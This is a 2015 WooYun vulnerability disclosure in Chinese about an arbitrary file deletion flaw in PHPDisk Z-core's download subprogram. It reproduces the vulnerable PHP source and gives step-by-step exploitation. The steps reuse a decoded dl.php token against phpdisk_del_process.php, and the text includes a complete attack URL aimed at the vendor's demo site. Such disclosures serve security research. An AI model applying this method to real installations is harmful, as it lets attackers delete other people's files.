当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092500

漏洞标题:phpdisk Z-core网赚版子程序过滤不严,导致可删除文件.

相关厂商:phpdisk.com

漏洞作者: 落叶飞扬

提交时间:2015-01-23 10:56

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-23: 细节已通知厂商并且等待厂商处理中
2015-01-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-24: 细节向核心白帽子及相关领域专家公开
2015-04-03: 细节向普通白帽子公开
2015-04-13: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

phpdisk Z-core网赚版下载子程序(sub)过滤不严,导致可删除任意文件.

详细说明:

我们先来看子程序中phpdisk_del_process.php这个文件相关代码。

1.JPG


parse_str(pd_encode($str,'DECODE')); 这里直接把传进来的值,解析到变量中了。但是被加密了,看似不可利用,其实不然。我们再来看dl.php。这个是最后下载页。

2.JPG


parse_str(pd_encode(base64_decode(rawurldecode($str)),'DECODE'));
这里同样是直接把传进来的值,解析到变量中。解析后有一个变量$file_id,而上面phpdisk_del_process.php这文件只需要一个$file_id就可以执行删除操作。
phpdisk_del_process.php

<?php 
/**
# Project: PHPDISK File Storage Solution
# This is NOT a freeware, use is subject to license terms.
#
# Site: http://www.phpdisk.com
#
# $Id: phpdisk_del_process.php 24 2012-09-05 02:52:59Z along $
#
# Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.
#
*/
include "includes/commons.inc.php";
@set_time_limit(0);
@ignore_user_abort(true);
$server_arr = array('up'=>'上传服务器','down'=>'下载服务器','local'=>'本地服务器');
$str = $_SERVER['QUERY_STRING']; //接收传进的值
if($str){
parse_str(pd_encode($str,'DECODE')); //把字符串解析到变量中。
$pp = iconv('utf-8','gbk',$pp);
$arr = explode('.',$pp);
$src_file = $arr[0].get_real_ext($arr[1]);
$thumb_file = $arr[0].'_thumb.'.$arr[1];
$out_txt = "删除结果:【{$server_arr[$server]}】【{$_SERVER['HTTP_HOST']}】,删除文件【{$file_name}】,文件ID:[{$file_id}]";
$file_extension = get_extension($file_name);
$esp = strlen($file_extension)+1;
if($file_extension){
$file_name = substr($file_name,0,strlen($file_name)-$esp);
}
$rs = $db->fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1"); //我们只需要一个$file_id
if($rs){
$num = @$db->result_first("select count(*) from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='".$db->escape($file_name)."' and file_store_path='{$rs[file_store_path]}'");
}
if($safe){
if($num==1){
if(@unlink(PHPDISK_ROOT.$src_file)){
@unlink(PHPDISK_ROOT.$thumb_file);
echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span><br>");'.LF;
}else{
echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[文件不存在或权限不足]</span><br>");'.LF;
//echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF;
$log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
}
}else{
echo 'document.writeln("'.$out_txt.' <span class=\"txtred\">失败[存在引用]</span><br>");'.LF;
//echo 'alert("'.$out_txt.' \r\n安全删除失败,此文件还存在其他的用户转存的文件引用,请使用非安全删除进行操作。");'.LF;
$log = '<? exit; ?> '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
}
}else{
if($num==1){
@unlink(PHPDISK_ROOT.$src_file);
@unlink(PHPDISK_ROOT.$thumb_file);
}
echo 'document.writeln("'.$out_txt.' <span class=\"txtblue\">成功</span><br>");'.LF;
}
if($server=='up'){
$db->query_unbuffered("delete from {$tpf}files where file_id='$file_id'");
echo 'document.writeln("数据库记录文件ID:['.$file_id.']删除 <span class=\"txtblue\">成功</span><br>");'.LF;
}
}else{
exit('<br> <p style="font-size:14px" align="center">Program is running, but error params!</p>');
}
?>


dl.php

<?php 
/**
# Project: PHPDISK File Storage Solution
# This is NOT a freeware, use is subject to license terms.
#
# Site: http://www.phpdisk.com
#
# $Id: dl.php 33 2013-08-10 05:40:30Z along $
#
# Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.
#
*/
error_reporting(0);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
define('OS_WIN',true);
define('LF',"\r\n");
}else{
define('OS_WIN',false);
define('LF',"\n");
}
$timestamp = time();
define('PHPDISK_ROOT', dirname(__FILE__).'/');
require_once(PHPDISK_ROOT.'system/settings.inc.php');
define('SERVER_KEY',$settings[encrypt_key]);
define('FILE_PATH',$settings[file_path]);
define('IN_PHPDISK',TRUE);
@set_time_limit(0);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
function check_ref(){
global $settings;
$arr = explode('/',$_SERVER['HTTP_REFERER']);
$arr2 = explode('/',$settings[phpdisk_url]);
if($_SERVER['HTTP_HOST']!='localhost'){
if(!$_SERVER['HTTP_REFERER'] || $arr[2]!=$arr2[2]){
header('Location: '.$settings[phpdisk_url]);
exit;
}
}
}
//check_ref();
function pd_encode($string, $operation = 'ENCODE',$key = ''){
global $settings;
$ckey_length = 4;
$key = md5($key ? $key : ($settings['encrypt_key'] ? $settings['encrypt_key'] : 'PHPDisk=Rc9o'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d',0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$arr = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $arr[$i] + $rndkey[$i]) % 256;
$tmp = $arr[$i];
$arr[$i] = $arr[$j];
$arr[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $arr[$a]) % 256;
$tmp = $arr[$a];
$arr[$a] = $arr[$j];
$arr[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($arr[($arr[$a] + $arr[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
function filter_name($str){
return str_ireplace(array(' ','&amp;','・'),'_',$str);
}
function get_real_ext($file_extension){
if($file_extension){
$exts = explode(',','asp,asa,aspx,ascx,dtd,xsd,xsl,xslt,as,wml,java,vtm,vtml,jst,asr,php,php3,php4,php5,vb,vbs,jsf,jsp,pl,cgi,js,html,htm,xhtml,xml,css,shtm,cfm,cfml,shtml,bat,sh');
if(in_array($file_extension,$exts)){
$file_ext = '.txt';
}
}else{
$file_ext = '.txt';
}
return $file_ext;
}
function get_extension($name){
return strtolower(trim(strrchr($name, '.'), '.'));
}
$str = $_SERVER['QUERY_STRING'];
parse_str(pd_encode(base64_decode(rawurldecode($str)),'DECODE'));
if($expire_time && $expire_time<$timestamp){
header("Content-Type: text/html; charset=utf-8");
$src_url = $settings[phpdisk_url]."viewfile.php?file_id=$file_id";
echo '<p>请登录原地址重新获取: <a href="'.$src_url.'" target="_blank">'.$src_url.'<a></p>';
echo '<p style="color:#ff0000">温馨提示:此文件链接已失效,请勿非法盗链。</p>';
exit;
}
$pp = $pp.get_real_ext(get_extension($pp));
if(!file_exists(PHPDISK_ROOT.FILE_PATH.'/'.$pp)){
header("Content-Type: text/html; charset=utf-8");
echo '<p style="padding:10px; font-size:12px;">文件ID: '.$file_id.'<br>';
echo '['.$file_name.'] 文件不存在,请联系网站管理员处理。<br><br>';
echo '联系方式:'.$settings[contact_us].'</p>';
}else{
$file_name = filter_name(str_replace("+", "%20",$file_name));
ob_end_clean();
$ua = $_SERVER["HTTP_USER_AGENT"];
if(preg_match("/MSIE/i", $ua)){
header('Content-disposition: attachment;filename="'.iconv('utf-8','gbk',$file_name).'"');
}else{
header('Content-disposition: attachment;filename="'.$file_name.'"');
}
header('Content-type: application/octet-stream');
if($settings[open_xsendfile]==2){
header('X-Accel-Redirect: /'.FILE_PATH.'/'.$pp);
}elseif($settings[open_xsendfile]==1){
header('X-sendfile: ./'.FILE_PATH.'/'.$pp);
}else{
header('Content-Encoding: none');
header('Content-Transfer-Encoding: binary');
header('Content-length: '.$fs);
@readfile('./'.FILE_PATH.'/'.$pp);
}
}
exit;
?>

漏洞证明:

我们用官方演示站http://demo.phpdisk.com/进行测试
首先我们到最后下载页获取dl.php?后面的加密字符串.

3.JPG


这个字符串是经过base64加密的,我们得先解密,解密前,我们先urlencode一下

4.JPG


然后再base64解密

5.JPG


我们把解密后的字符串
6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M
放到phpdisk_del_process.php后面得到地址
http://demo.phpdisk.com/z/sub/phpdisk_del_process.php?6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M
放到浏览器执行成功删除该文件

6.JPG


修复方案:

你懂的。

版权声明:转载请注明来源 落叶飞扬@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无